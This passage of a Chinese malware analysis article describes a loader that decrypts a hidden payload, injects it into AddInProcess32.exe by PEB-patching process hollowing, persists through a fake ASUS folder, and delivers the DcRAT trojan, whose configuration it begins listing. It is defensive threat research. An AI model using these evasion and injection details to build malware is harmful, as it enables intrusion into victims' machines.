src="https://wechat2rss.xlab.app/img-proxy/?k=c51f9a7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLDIg9qShvnbS3fkz25iaFKUG7BiaJlBMXZCkjr69etffqqumtKz2YtfUDrcUPhwZuKFxrTW7Itm0qS9EX5bwuXPVfEsd3pWKhU0%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;">图5 API名称解密和地址获取</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">（3）</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">载荷解密</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">加密的恶意载荷位于该dll文件的.reloc节中，在一段用“PADDINGXXPADDING”字符填充的内容之后，我们可以看到它使用了自定义编码的字节，这正是即将进行解密和加载的恶意载荷。</span><o:page></o:page></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.47699386503067487" style="width: 506.2px;height: 241.46px;" data-w="652" src="https://wechat2rss.xlab.app/img-proxy/?k=fe745430&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJ0HXsiam8Smo0Ub4U5kklAye0IZGQO0dyJD6sFwmI3gfJXPxXT0IW3HWZz1sw4FlAl5E87vnRFHJIyKqZ8yHmiahxVbVicHG6AmA%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;">图6 .reloc节中填充的字符</span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.40950920245398775" style="width: 553.74px;height: 226.74px;" data-w="652" src="https://wechat2rss.xlab.app/img-proxy/?k=03db1d28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKwicon6wtNfOFEt8sVf5dBnLrviaLLnGuPwEpIpT8MnWmWArThM5qFKuTl4DGaoS7M9QKoUYyC5T3ib0x8Xs9jFZnZpOq7QnL69U%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;">图7 加密存储的恶意载荷</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">该加载器通过匹配特征字符串“_hBerichte”在PE镜像中找到加密载荷的位置，然后开始实施解密。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">分析其解密过程，我们发现分为两个阶段进行。首先使用了一种凯撒密码，即将把 hex 字符集 0-9、A-F 替换为连续字符集 P、Q、R、S、T、U、V、W、X、Y、Z、[、\、]、^、_。</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.20449897750511248" style="width: 553.74px;height: 113.27px;" data-w="978" src="https://wechat2rss.xlab.app/img-proxy/?k=1f13269a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKJSmVHGK1bjrVfnBbhRjLicqEUg1ayH3ezaKMbraZVynOrVmvzxuuSSibibs5aEkH31ib598gHe1S7mKoRMdia8gMXVZllk85oq13U%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;">图8 恶意载荷解密步骤1</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">再经过与模块名解密中使用的相同的chacha20变体算法完成解密。</span><o:page></o:page></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.8716323296354992" style="width: 462.24px;height: 402.92px;" data-w="631" src="https://wechat2rss.xlab.app/img-proxy/?k=323b9c4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIIOhrEHWE8FRNjR6zshrZLOxSTsiazxwqneBuR1JA6WbYJZZKSwCxE5icmbJ81hoQNPpC5GTMe9mEP472VxVN8ibyc3CdL6m76fg%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;">图8 恶意载荷解密步骤2</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">（4）</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">恶意载荷注入：</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">首先调用CreateProcessInternalW创建合法进程</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe并挂起。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在经过短暂休眠后，样本又按照如下顺序调用API，目的是将载荷注入该进程中：</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">NtMapViewOfSection-&gt;Wow64GetThreadContext-&gt;WriteProcessMemory-&gt;</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">NtQueryInformationProcess-&gt;</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">WriteProcessMemory-&gt;</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">ResumeThread，最终将载荷直接映射到原进程地址空间并运行。</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.43796394485683987" style="width: 553.74px;height: 242.54px;" data-w="943" src="https://wechat2rss.xlab.app/img-proxy/?k=d6ea916a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKtpm7TGsTHd2KRG6BSUeT3DkxhiaD4FyAOTsuWAxicBaoGejc7KMCD1Z2gb40aXjGAYouycYqtk0UBN8ib9kKP2Wl95oeWVQZbws%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;">图9 调用WriteProcessMemory实施进程镂空</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">调用WriteProcessMemory的目的是修改PEB的ImageBaseAddress，让线程恢复执行后，可以从恶意载荷的地址处运行，即表1日志示例告诉我们的内容：“PH:managed/skip host CRT bootstrap via PEB patch”。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">这种进程注入方法抛弃了传统进程镂空技术使用NtUnMapViewofSection进行镂空的操作，减少了敏感API调用次数，起到一定规避检测的作用。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">此外，加载器在运行过程中还会建立目录</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">%userprofile%\\AppData\\Roaming\\ASUS App Service，将原始文件拷贝至该目录下，通过开机自启动实现持久驻留。</span></p><h2 style="margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">2.最终载荷</span></span></h2><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">最终加载的恶意载荷是名为DcRAT的远控木马客户端。它使用C#开发，是AsyncRAT家族中一个功能更为全面的进化版本，它针对攻击者的需求添加了更多破坏性和隐蔽性功能。本例中的DcRAT名称为“thes”，在这里我们提取到了它的主要配置信息。</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.4007386888273315" style="width: 553.74px;height: 221.94px;" data-w="1083" src="https://wechat2rss.xlab.app/img-proxy/?k=114bc9ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJNVMAXFk8IRghCzv1ndzKs5Nzd3MvvIx6cUt76WfmvNq5UKAWcUg778FicBnL1zj3MlTZ6VmEoeJZI39xq9EBvYvagLEAibEqI4%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;">图10 该DcRAT的配置信息解密</span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;">表2 该DcRAT的主要配置信息</span></span></p><table style="margin-left: 0.0;border: none;border-collapse: collapse;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 0.5pt;mso-border-right-alt: solid windowtext 0.5pt;mso-padding-alt: 0pt 5.4pt 0pt 5.4pt;width: 100%;"><tbody><tr><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;font-weight:bold;mso-bidi-font-weight:bold;"><span leaf="">配置字段</span></span></p></td><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;font-weight:bold;mso-bidi-font-weight:bold;"><span leaf="">配置内容</span></span></p></td></tr><tr><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">Key</span></span><o:page></o:page></p></td><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">&#34;0GZXnqnFDFw2tjwIKLItj3AIskBV9Ebs&#34;</span></span></p></td></tr><tr><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">AES</span></span></p></td><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">false</span></span></p></td></tr><tr><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">Port</span></span></p></td><td data-colwidth="277" width="277" valign="top" style="border-width: 1pt;border-style: solid;border-color: 